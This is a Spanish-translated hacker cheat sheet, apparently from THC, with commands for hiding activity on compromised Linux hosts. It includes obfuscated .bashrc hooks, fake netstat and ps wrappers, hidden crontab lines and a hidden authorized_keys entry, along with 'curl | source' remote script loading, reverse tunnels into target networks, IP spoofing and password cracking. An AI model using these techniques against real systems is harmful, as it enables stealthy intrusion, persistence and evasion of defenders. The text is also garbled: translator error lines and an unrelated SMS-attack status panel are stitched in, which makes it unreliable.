
Various tips & tricks
Una colección de nuestros trucos favoritos. Muchos de esos trucos no son nuestros. Simplemente los recopilamos.
Mostramos los trucos 'tal cual' sin ninguna explicación de por qué funcionan. Necesitas conocer Linux para entender cómo y por qué funcionan.
¿Tienes trucos? Únete a nosotros https://thc.org/ops
1.i. Configurar un Hack Shell (bash):
Haz que BASH sea menos ruidoso. Desactiva ~/.bash_history y muchas otras cosas.```sh source <(curl -SsfL https://thc.org/hs)
URL alternativa:```sh
source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)
Y si no hay curl/wget, usa surl y el curl (temporalmente) instalado con bin curl.```sh
source <(surl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
bin curl to (temporarily) install curl (in memory).HackShell hace mucho más, pero lo más importante es esto:```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"
TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160
Usamos anew mucho, y esta es una solución rápida:```shell
xanew() { awk 'hit[$0]==0 {hit[$0]=1; print $0}'; }
which anew &>/dev/null || alias anew=xanew
Consejo adicional:
Cualquier comando que comience con un " " (espacio) tampoco [se registrará en el historial](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces).```
$ id
1.ii. Oculta tu comando / Daemoniza tu comando
Esto solo ocultará el nombre del proceso. Usa zapper para ocultar también las opciones de la línea de comandos.```shell (exec -a syslogd nmap -Pn -F -n --open -oG - 10.0.2.1/24) # Note the brackets '(' and ')'
Inicia un 'nmap' en segundo plano oculto como '/usr/sbin/sshd':```
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)
Comience dentro de un GNU screen:``` screen -dmS MyName nmap -Pn -F -n --open -oG - 10.0.2.1/24
screen -x MyName
Alternativamente, copie el binario a un nuevo nombre:```sh
cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24
o use bind-mount para (temporalmente) hacer que /sbin/init apunte a /dev/shm/nmap en su lugar:```shell mount -n --bind "$(command -v nmap)" /sbin/init
(/sbin/init -Pn -f -n --open -oG - 10.0.2.1/24 &>nmap.log &)
<a id="zap"></a>
**1.iii. Oculta tus opciones de línea de comandos**
Usa [zapper](https://github.com/hackerschoice/zapper):```sh
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper
No se proporcionó contenido para traducir en la entrada.```sh
./zapper -a klog nmap -Pn -F -n --open -oG - 10.0.0.1/24
(./zapper -a 'sshd: root@pts/0' nmap -Pn -F -n --open -oG - 10.0.0.1/24 &>nmap.log &)
exec ./zapper -f -a'[kworker/1:0-rcu_gp]' tmux
<a id="bash-hide-connection"></a>
**1.iv. Ocultar una conexión de red**
El truco consiste en secuestrar `netstat` y usar grep para filtrar nuestra conexión. Este ejemplo filtra cualquier conexión en el puerto 31337 _o_ ip 1.2.3.4. Lo mismo debería hacerse para `ss` (una alternativa a netstat).
**Método 1 - Ocultar una conexión con función bash en ~/.bashrc**
Corta y pega esto para añadir la línea a ~/.bashrc```shell
echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc
O corta y pega esto como entrada ofuscada en /.bashrc:```shell
X='netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }'
echo "eval $(echo $(echo "$X" | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG" >>/.bashrc
&& touch -r /etc/passwd ~/.bashrc
La entrada ofuscada en ~/.bashrc se verá así:```
eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG
Método 2 - Ocultar una conexión con un binario en $PATH
Crea un binario netstat falso en /usr/local/sbin. En un Debian predeterminado (y en la mayoría de Linux) la variable PATH (echo $PATH) lista /usr/local/sbin antes de /usr/bin. Esto significa que nuestro binario secuestrador /usr/local/sbin/netstat se ejecutará en lugar de /usr/bin/netstat.```shell
echo '#! /bin/bash
exec /usr/bin/netstat "$@" | grep -Fv -e :22 -e 1.2.3.4' >/usr/local/sbin/netstat
&& chmod 755 /usr/local/sbin/netstat
&& touch -r /usr/bin/netstat /usr/local/sbin/netstat
*(gracias iamaskid)*
<a id="hide-a-process-user"></a>
**1.v. Ocultar un proceso como usuario**
Continuando desde «Ocultar una conexión», se puede usar la misma técnica para ocultar un proceso. Este ejemplo oculta el proceso de nmap y también se asegura de que nuestro `grep` no aparezca en la lista de procesos renombrándolo a GREP:```shell
echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc
1.vi. Ocultar un proceso como root
Esto requiere privilegios de root y es un viejo truco de Linux que consiste en sobremontar /proc/<pid> con un directorio inútil:```sh hide() { [[ -L /etc/mtab ]] && { cp /etc/mtab /etc/mtab.bak; mv /etc/mtab.bak /etc/mtab; } _pid=${1:-$$} [[ $_pid =~ ^[0-9]+$ ]] && { mount -n --bind /dev/shm /proc/$_pid && echo "[THC] PID $_pid is now hidden"; return; } local _argstr for _x in "${@:2}"; do _argstr+=" '${_x//'/'"'"'}'"; done [[ $(bash -c "ps -o stat= -p $$") =~ + ]] || exec bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" }
Para ocultar un comando usa:```sh
hide # Hides the current shell/PID
hide 31337 # Hides process with pid 31337
hide sleep 1234 # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null & # Starts and hides 'sleep 1234' as a background process
(gracias a druichi por mejorar esto)
1.vii. Ocultar scripts de shell
Arriba discutimos cómo ofuscar una línea en ~/.bashrc. Un truco muy utilizado es usar source en su lugar. El comando source se puede abreviar como . (sí, un punto) y también busca a través de la variable $PATH el archivo a cargar.
En este ejemplo, nuestro script prng contiene todas nuestras funciones de shell anteriores. Esas funciones ocultan el proceso nmap y la conexión de red. Por último, añadimos . prng al archivo rc de todo el sistema. Esto cargará prng cuando el usuario (y root) inicie sesión:```shell
echo -e 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }
ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >/usr/bin/prng
&& echo ". prng #Initialize Pseudo Random Number Generator" >>/etc/bash.bashrc
&& touch -r /etc/ld.so.conf /usr/bin/prng /etc/bash.bashrc
(Lo mismo funciona para `lsof`, `ss` y `ls`)
<a id="cat"></a>
**1.viii. Ocultarse de cat**
Los caracteres de escape ANSI o un simple `\r` ([retorno de carro](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/)) se pueden usar para ocultarse de `cat` y otros.
Oculta el último comando (ejemplo: `id`) en `~/.bashrc`:```sh
echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.
Añade una línea crontab oculta:```sh (crontab -l; echo -e "0 2 * * * { id; date;} 2>/dev/null >/tmp/.thc-was-here #\033[2K\033[1A") | crontab
Agregar un `\r` (retorno de carro) ayuda mucho a ocultar tu clave ssh de `cat`:```shell
echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' won't show
### it. The $'\r' is a bash special to create a \r (carriage return).
1.ix. Ejecutar en paralelo con archivos de registro separados*
Nota: Lo mismo se puede lograr con parallel.
Escanear hosts con 20 tareas en paralelo:```sh cat hosts.txt | xargs -P20 -I{} --process-slot-var=SLOT bash -c 'exec nmap -n -Pn -sV -F --open -oG - {} >>"nmap_${SLOT}.txt"'
- `exec` se usa para reemplazar el shell subyacente con el último proceso (nmap). Es opcional pero reduce la cantidad de binarios de shell en ejecución/innecesarios.
- `${SLOT}` contiene un valor entre 0..19. Es el "número de tarea". Lo usamos para escribir los resultados de nmap en 20 archivos separados.
Ejecuta [Linpeas](https://github.com/carlospolop/PEASS-ng) en todos los hosts [gsocket](https://www.gsocket.io/deploy) usando 40 workers:```sh
cat secrets.txt | xargs -P40 -I{} --process-slot-var=SLOT bash -c 'mkdir host_{}; gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>>"linpeas-${SLOT}.err"'
Evita que aparezcas en el comando w o who y evita registrar el host en ~/.ssh/known_hosts.```sh ssh -o UserKnownHostsFile=/dev/null -T [email protected] "bash -i"
Disfruta de la máxima comodidad con PTY y colores: `xssh [email protected]`:```sh
### Cut & Paste the following to your shell, then execute
### xssh [email protected]
xssh() {
local ttyp="$(stty -g)"
echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"
echo -e '\e[0;36msource <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)\e[0m'
echo -e "\e[2m# or: \e[0;36m\e[2mPS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"
stty raw -echo icrnl opost
[[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"
ssh -oConnectTimeout=5 -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking="${a:-accept-new}" -T \
"$@" \
"unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=/dev/null TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [uid] script -qc 'source <(resize 2>/dev/null); exec -a [uid] bash -i' /dev/null"
stty "${ttyp}"
}
(Vea Hackshell)
2.ii Múltiples shells mediante 1 conexión SSH/TCP
Ten una conexión TCP al objetivo y permite que múltiples usuarios se enganchen a la misma conexión TCP para abrir más sesiones de shell.
Crea una conexión maestra:```sh ssh -M -S .sshmux [email protected]
Crea más sesiones de shell usando la misma conexión Master-TCP (única) de arriba (sin necesidad de contraseña/autenticación):```sh
ssh -S .sshmux NONE
#ssh -S .sshmux NONE ls -al
#scp -o "ControlPath=.sshmux" NONE:/etc/passwd .
Se puede combinar con xssh para ocultarse de utmp.
Usamos esto todo el tiempo para evadir cortafuegos locales y filtrado de IP:```sh ssh -g -L31337:1.2.3.4:80 [email protected]
Tú o cualquier otra persona ya pueden conectarse a tu ordenador en el puerto 31337 y ser tunelizados a 1.2.3.4 puerto 80 y aparecer con la IP de origen de 'server.org'. Una alternativa y sin necesidad de un servidor es usar [gs-netcat](#backdoor-network).
Los hackers inteligentes usan la combinación de teclado `~C` para crear dinámicamente estos túneles sin tener que reconectar el SSH. (gracias a MessedeDegod).
Usamos esto para dar acceso a un amigo a una máquina interna que no está en la Internet pública:```sh
ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected]
Cualquiera que se conecte a server.org:31338 será tunelizado a 192.168.0.5 en el puerto 80 a través de tu ordenador. Una alternativa sin necesidad de un servidor es usar gs-netcat.
OpenSSH 7.6 añade soporte para socks en el reenvío dinámico. Ejemplo: Tuneliza todo el tráfico de tu navegador a través de tu servidor.```sh ssh -D 1080 [email protected]
Ahora configura tu navegador para usar SOCKS con 127.0.0.1:1080. Todo tu tráfico ahora se tuneliza a través de *server.org* y aparecerá con la IP de origen de *server.org*. Una alternativa, sin necesidad de un servidor, es usar [gs-netcat](#backdoor-network).
Esto es lo inverso del ejemplo anterior. Permite que otros accedan a tu red *local* o que usen tu computadora como punto final del túnel.```sh
ssh -g -R 1080 [email protected]
Los demás configurando server.org:1080 como su proxy SOCKS4/5. Ahora pueden conectarse a cualquier ordenador en cualquier puerto al que tu ordenador tenga acceso. Esto incluye el acceso a ordenadores detrás de tu cortafuegos que estén en tu red local. Una alternativa y sin necesidad de un servidor es usar gs-netcat.
2.v SSH a un host detrás de NAT
ssh-j.com ofrece un gran servicio de retransmisión: Para acceder a un host detrás de NAT/Firewall (vía SSH).
En el host detrás de NAT: Crea un túnel SSH inverso a ssh-j.com de la siguiente manera:```sh
sshj() { local pw pw=${1,,} [[ -z $pw ]] && { pw=$(head -c64 </dev/urandom | base64 | tr -d -c a-z0-9); pw=${pw:0:12}; } echo "Press Ctrl-C to stop this tunnel." echo -e "To ssh to ${USER:-root}@${2:-127.0.0.1}:${3:-22} type: \e[0;36mssh -J ${pw}@ssh-j.com ${USER:-root}@${pw}\e[0m" ssh -o StrictHostKeyChecking=accept-new -o ServerAliveInterval=30 -o ExitOnForwardFailure=yes ${pw}@ssh-j.com -N -R ${pw}:22:${2:-0}:${3:-22} }
sshj # Generates a random tunnel ID [e.g. 5dmxf27tl4kx] and keeps the tunnel connected sshj foobarblahblub # Creates tunnel to 127.0.0.1:22 with specific tunnel ID sshj foobarblahblub 192.168.0.1 2222 # Tunnel to host 192.168.0.1:2222 on the LAN
Luego usa este comando desde cualquier otro lugar del mundo para conectarte como 'root' a 'foobarblahblub' (el host detrás del NAT):```sh
ssh -J [email protected] root@foobarblahblub
La conexión SSH pasa a través de ssh-j.com hacia el túnel inverso hasta el host detrás de NAT. El tráfico está cifrado de extremo a extremo y ssh-j.com no puede ver el contenido.
2.vi Pivoting SSH a múltiples servidores
SSH ProxyJump puede ahorrarte mucho tiempo y molestias cuando trabajas con servidores remotos. Supongamos el escenario:
Nuestra estación de trabajo es $local-kali y queremos conectarnos por SSH a $target-host. No hay conexión directa entre nuestra estación de trabajo y $target-host. Nuestra estación de trabajo solo puede alcanzar a $C2. $C2 puede alcanzar a $internal-jumphost (a través de eth1 interna) y $internal-jumphost puede alcanzar el destino final $target-host a través de eth2.```sh
$local-kali -> $C2 -> $internal-jumphost -> $target-host
eth0 192.168.8.160 10.25.237.119
eth1 192.168.5.130 192.168.5.135
eth2 172.16.2.120 172.16.2.121
> No ejecutamos `ssh` en ninguna computadora excepto en nuestra estación de trabajo de confianza, y tampoco debes hacerlo tú (nunca).
Ahí es donde ProxyJump ayuda: podemos 'saltar' a través de los dos servidores intermediarios $C2 y $internal-jumphost (sin abrir un shell en esos servidores). La conexión ssh está cifrada de extremo a extremo entre nuestro $local-kali y $target-host, y ninguna contraseña o clave queda expuesta a $C2 o $internal-jumphost.```sh
## if we want to SSH to $target-host:
kali@local-kali$ ssh -J [email protected],[email protected] [email protected]
## if we want to SSH to just $internal-jumphost:
kali@local-kali$ ssh -J [email protected] [email protected]
También usamos esto para ocultar nuestra dirección IP al iniciar sesión en servidores.
Es posible iniciar un servidor SSHD como un usuario no root y usarlo para multiplexar o reenviar conexiones TCP (sin registro y cuando el SSHD del sistema prohíbe el reenvío/multiplexación) o como un rápido servidor de volcado de exfiltración que se ejecuta como no root:```sh
mkdir -p /.ssh 2>/dev/null
ssh-keygen -q -N "" -t ed25519 -f sshd_key
cat sshd_key.pub >>/.ssh/authorized_keys
cat sshd_key
$(command -v sshd) -f /dev/null -o HostKey=$(pwd)/sshd_key -o GatewayPorts=yes -p 31337 # -Dvvv
```sh
# On the client, copy the sshd_key from the server. Then login:
# Example: Proxy connection via the server and reverse-forward 31339 to localhost:
ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 [email protected]
# curl -x socks5h://0 ipinfo.io
SSF es una forma alternativa de multiplexar TCP sobre TLS.
nmap -n -sn -PR -oG - 192.168.0.1/24
|Tipos de archivo| Múltiple|```sh
### ICMP discover hosts
nmap -n -sn -PI -oG - 192.168.0.1/24
reaper s:Terminado – mostrar estadísticas de la última sesión.
no results found
SRI: 111427 | UID: - | MD: +372 XXXXXXXXXX | Sig: 0 | Left: 0
Rate: 3.5714 cps | Total SMS Sent: 0 | Time: 09:16:32
==========================================================
Status | Value
==========================================================
Database | 3063
Modem | Online - COM PORT: COM5
IMEI | 3.5714XXXXXXXXXX
IMSI | N/A
Operator | N/A
Network | GSM (3G) - TELE2
Signal | 23
Ber | 0
Session Time | 09:17:03
Session State | Inactive - Waiting for start
CPS | Active: 3.5714 | Max: 30
Real CPS | Current: 3.5714 | Max: 30
Attack Duration | T: 00:01:32 | S: 00:00:00
Sent | 0
``````sh
## ICMP discover hosts (local LAN) ROOT
# NET="10.11.0" # discover 10.11.0.1-10.11.0.254
seq 1 254 | xargs -P20 -I{} ping -n -c3 -i0.2 -w1 -W200 "${NET:-192.168.0}.{}" | grep 'bytes from' | awk '{print $4" "$7;}' | sort -uV -k1,1
tcpdump -np 'tcp[tcpflags] ^ (tcp-syn|tcp-ack) == 0'
tcpdump -nplq 'tcp[13] == 2 and dst port 22' | while read -r x; do echo "${x}"; echo -en \a; done
tcpdump -npAq -s0 'tcp and (ip[2:2] > 60)'
---
<a id="tunnel"></a>
**3.iii. Túnel y reenvío**```sh
## Connect to SSL (using socat)
socat stdio openssl-connect:smtp.gmail.com:465
## Connect to SSL (using openssl)
openssl s_client -connect smtp.gmail.com:465
No se incluyó contenido en el campo INPUT para traducir (chunk 90). Reenvía el fragmento y lo traduciré al español.```sh
socat TCP-LISTEN:25,reuseaddr,fork openssl-connect:smtp.gmail.com:465
---
<a id="ports"></a>
**3.iii.a Puertos TCP reversos en bruto**
Útil para backdoors reversos que necesitan un puerto TCP en una dirección IP pública:
Usando [segfault.net](https://thc.org/segfault.net) (gratis):```sh
# Request a random public TCP port:
curl sf/port
echo "Your public IP:PORT is $(cat /config/self/reverse_ip):$(cat /config/self/reverse_port)"
nc -vnlp $(cat /config/self/reverse_port)
Usando bore.pub (gratis):```sh
bore local 31337 --to bore.pub
usando [serveo.net](https://serveo.net) (gratis):```sh
# Forward a random public TCP port to localhost:31337
ssh -R 0:localhost:31337 [email protected]
usando pinggy.io (60 minutos gratis):```sh ssh -p 443 -R 0:localhost:31337 [email protected]
Vea también [remote.moe](#revese-shell-remote-moe) (gratuito) para reenviar TCP sin procesar desde el objetivo a su estación de trabajo, o [playit](https://playit.gg/) (gratuito) o [ngrok](https://ngrok.com/) (suscripción de pago) para reenviar un puerto TCP público sin procesar.
Otros servicios gratuitos se limitan a reenviar solo HTTPS (no TCP sin procesar). Algunos trucos a continuación muestran cómo tunelizar TCP sin procesar a través de reenvíos HTTPS (usando websockets).
---
<a id="https"></a>
**3.iii.b Túneles inversos HTTPS**
En el servidor, use cualquiera de estos tres servicios de túnel HTTPS:```sh
### Reverse HTTPS tunnel to forward public HTTPS requests to this server's port 8080:
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]
### Or using remote.moe
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]
### Or using cloudflared
curl -fL -o cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64
chmod 755 cloudflared
cloudflared tunnel --url http://localhost:8080 --no-autoupdate
Cualquiera de los dos servicios generará una nueva URL HTTPS temporal para que la uses.
Luego, usa websocat o Gost en ambos extremos para tunelizar TCP sin procesar a través de la URL HTTPS:
A. Una tubería simple de STDIN/STDOUT a través de HTTPS:```sh
websocat -s 8080
```sh
### On the remote target forward stdin/stdout to WebSocket:
websocat wss://<HTTPS-URL>
B. Reenviar TCP crudo vía HTTPS:```sh
gost -L mws://:8080
Reenvía el puerto 2222 al puerto 22 del servidor.```sh
### On the workstation:
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'
### Test the connection (will connect to localhost:22 on the server)
nc -vn 127.0.0.1 2222
o usar el servidor como nodo de salida Socks-Proxy (p. ej., acceder a cualquier host dentro de la red del servidor o incluso a Internet a través del servidor (usando el túnel inverso HTTPS de arriba):```sh
gost -L :1080 -F 'mwss://:443'
curl -x socks5h://0 ipinfo.io
Más: [https://github.com/twelvesec/port-forwarding](https://github.com/twelvesec/port-forwarding) y [Túnel a través de Cloudflare para cualquier servicio TCP](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) y [Awesome Tunneling](https://github.com/anderspitman/awesome-tunneling).
---
<a id="iptables"></a>
**3.iii.c Haciendo rebotar tráfico con iptables**
Haz rebotar a través de un host/enrutador sin necesidad de ejecutar un proxy o reenviador en el espacio de usuario:```sh
bounceinit() {
echo 1 >/proc/sys/net/ipv4/ip_forward
echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet
[ $# -le 0 ] && set -- "0.0.0.0/0"
while [ $# -gt 0 ]; do
iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188
shift 1
done
iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark
}
bounce() {
iptables -t nat -A PREROUTING -p tcp --dport "${1:?}" -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}
}
bounceinit # Allow EVERY IP to bounce
# bounceinit "1.2.3.4/16" "6.6.0.0/16" # Only allow these SOURCE IP's to bounce
(Ver Hackshell bounce)
Luego configura los reenvíos así:```sh bounce 31337 144.76.220.20 22 # Bounce 31337 to segfault's ssh port. bounce 31338 127.0.0.1 8080 # Bounce 31338 to the server's 8080 (localhost) bounce 53 213.171.212.212 443 # Bounce 53 to gsrn-relay on port 443
Usamos este truco para llegar a la gsocket-relay-network (o TOR) desde lo más profundo de redes con firewall.```sh
# Deploy on a target that can only reach 192.168.0.100
GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh
# Access the target
GS_HOST=213.171.212.212 gs-netcat -i -s ...
3.vi.c Ghost IP / Suplantación de IP
Útil en un host dentro de la red objetivo. Esta herramienta reconfigura (sin dejar rastro) la SHELL: cualquier programa (nmap, cme, ...) iniciado desde esta SHELL utilizará una IP falsa. Todos tus ataques se originarán desde un host que no existe.```sh source <(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/ghostip.sh)
Esto también funciona en combinación con:
* [Servidores ROOT de Segfault](https://thc.org/segfault/wireguard): Conectará tu ROOT Server a la RED OBJETIVO y usará una IP Fantasma dentro de la red objetivo.
* [Túneles QEMU](https://securelist.com/network-tunneling-with-qemu/111803/): Igual que arriba, pero menos seguro.
---
<a id="tunnel-more"></a>
**3.vi.d Varios trucos de túneles**
### Túnel mediante CDN
* Lee [Cómo tunelizar cualquier servicio TCP a través de CloudFlare](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) o usa [DarkFlare](https://github.com/doxx/darkflare).
### Conecta tu host directamente a la red remota
* [WireTap](https://github.com/sandialabs/wiretap) - Funciona como usuario o root. Usa UDP como transporte. ([Pruébalo](https://thc.org/segfault/wireguard) en segfault.)
* [ligolo-ng](https://github.com/nicocha30/ligolo-ng) - Usa TCP como transporte. Funciona bien a través de [cloudflare CDN](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) o gs-netcat.
### Usar SSH como un proxy inverso económico a través de Cloudflare
Este método es similar a los [túneles inversos HTTPS](#https) pero usa SSH en lugar de Gost o websocat.
- Ventaja: Solo usa *cloudflared* y *SSH* en el objetivo.
- Desventaja: Requiere una suscripción de CF.
1. Ve a tu panel de CF -> Zero Trust -> Networks -> Tunnels
2. Crea un nuevo túnel 'Cloudflared' con cualquier nombre.
3. Selecciona Debian y 64-bit. El Token no se muestra completamente. Extrae el "Token" copiando el área atenuada en un documento aparte para revelar el Token completo (las largas cadenas hexadecimales después de `sudo cloudflared service install <TunnelTokenHere>`).
4. Añade un subdominio (el ejemplo usa `ssh.team-teso.net`).
5. Configura Type=TCP URL=localhost:22```shell
### On YOUR workstation:
cloudflared tunnel run --token TunnelTokenHere
(no content provided)```shell
ssh -o ProxyCommand="cloudflared access tcp --hostname ssh.team-teso.net" root@0 -R 1080
No se ha proporcionado ningún texto de entrada en este chunk para traducir.```shell
### On your workstation, connect to _any_ host within the target network (example: ipinfo.io)
curl -x socks5h://0 https://ipinfo.io
Usa ProxyChains o GrafTCP para tunelizar otros protocolos a través del proxy inverso.
3.iv. Usa cualquier herramienta a través de Socks Proxy
En la red del objetivo:```sh
gs-netcat -l -S
En tu estación de trabajo:```sh
## Create a gsocket tunnel into the target's network:
gs-netcat -p 1080
echo -e "[ProxyList]\nsocks5 127.0.0.1 1080" >pc.conf proxychains -f pc.conf -q curl ipinfo.io
proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.1
seq 1 254 | xargs -P10 -I{} proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.{}
### Usando GrafTCP:```sh
## Use graftcp to access any host on the target's network:
(graftcp-local -select_proxy_mode only_socks5 &)
graftcp curl ipinfo.io
graftcp ssh [email protected]
graftcp nmap -n -Pn -sV -F --open 19.168.1.1
3.v. Encuentra tu dirección IP pública```sh curl -s wtfismyip.com/json | jq curl ifconfig.me dig +short myip.opendns.com @resolver1.opendns.com host myip.opendns.com resolver1.opendns.com
Obtén información de geolocalización sobre cualquier dirección IP:```sh
curl https://ipinfo.io/8.8.8.8 | jq
curl http://ip-api.com/8.8.8.8
curl https://cli.fyi/8.8.8.8
Obtén información de ASN por dirección IP:```sh asn() { [[ -n $1 ]] && { echo -e "begin\nverbose\n${1}\nend"|netcat whois.cymru.com 43| tail -n +2; return; } (echo -e 'begin\nverbose';cat -;echo end)|netcat whois.cymru.com 43|tail -n +2 } asn 1.1.1.1 # Single IP Lookup cat IPS.txt | asn # Bulk Lookup
Comprueba si TOR está funcionando:```sh
curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip
### Result should be {"IsTor":true...
3.vi. Comprueba la accesibilidad desde cualquier parte del mundo
La amable gente de https://ping.pe/ te permite hacer ping/traceroute/mtr/dig/port-check a un host desde cualquier parte del mundo, comprobar puertos TCP, resolver un nombre de dominio, ...y muchas otras cosas.
Para comprobar lo bien que tu host (actual) puede acceder a Internet, usa OONI Probe:```sh ooniprobe run im ooniprobe run websites ooniprobe list ooniprobe list 1
---
<a id="check-open-ports"></a>
**3.vii. Verificar/Escanear puertos abiertos en una IP**
Servicio de búsqueda de puertos de [Censys](https://search.censys.io/) o [Shodan](https://internetdb.shodan.io):```shell
curl https://internetdb.shodan.io/1.1.1.1
Escaneo de vulnerabilidades rápido (-F)```shell
nmap nmap -n -Pn -sCV -F --open --min-rate 10000 scanme.nmap.org
nmap -A -F -Pn --min-rate 10000 --script vulners.nse --script-timeout=5s scanme.nmap.org
Escanea puertos TCP abiertos:```sh
_scan_single() {
local opt=("${2}")
[ -f "$2" ] && opt=("-iL" "$2")
nmap -Pn -p"${1}" --open -T4 -n -oG - "${opt[@]}" 2>/dev/null | grep -F Ports
}
scan() {
local port="${1:?}"
shift 1
for ip in "$@"; do
_scan_single "$port" "$ip"
done
}
# scan <ports> <IP or file> ...
# scan 22,80,443 192.168.0.1
# scan - 192.168.0.1-254" 10.0.0.1-254
(Ver Hackshell scan)
Escáner de puertos simple en bash:```shell timeout 5 bash -c "</dev/tcp/1.2.3.4/31337" && echo OPEN || echo CLOSED
---
<a id="bruteforce"></a>
**3.viii. Descifrar hashes de contraseñas**
1. [NTLM2password](https://ntlm.pw/) para descifrar (buscar) contraseñas NTLM
2. [wpa-sec](https://wpa-sec.stanev.org) para descifrar (buscar) contraseñas WPA PSK
HashCat es nuestra herramienta de referencia para todo lo demás:```shell
hashcat my-hash /usr/share/wordlists/rockyou.txt
Usando un hashmask de 10 días y 7-16 caracteres en GPU:```sh curl -fsSL https://github.com/sean-t-smith/Extreme_Breach_Masks/raw/main/10%2010-days/10-days_7-16.hcmask -o 10-days_7-16.hcmask
nice -n 19 hashcat -o cracked.txt my-hash.txt -w1 -a3 10-days_7-16.hcmask -O -d2
Descifra los hashes de `known_hosts` de OpenSSH para revelar la dirección IP:```shell
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/ipv4_hcmask.txt -O
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/kh-converter.py -O
python3 kh-converter.py ~/.ssh/known_hosts >known_hosts_hashes
hashcat -m 160 --quiet --hex-salt known_hosts_hashes -a 3 ipv4_hcmask.txt
👉 Lee las Preguntas frecuentes.
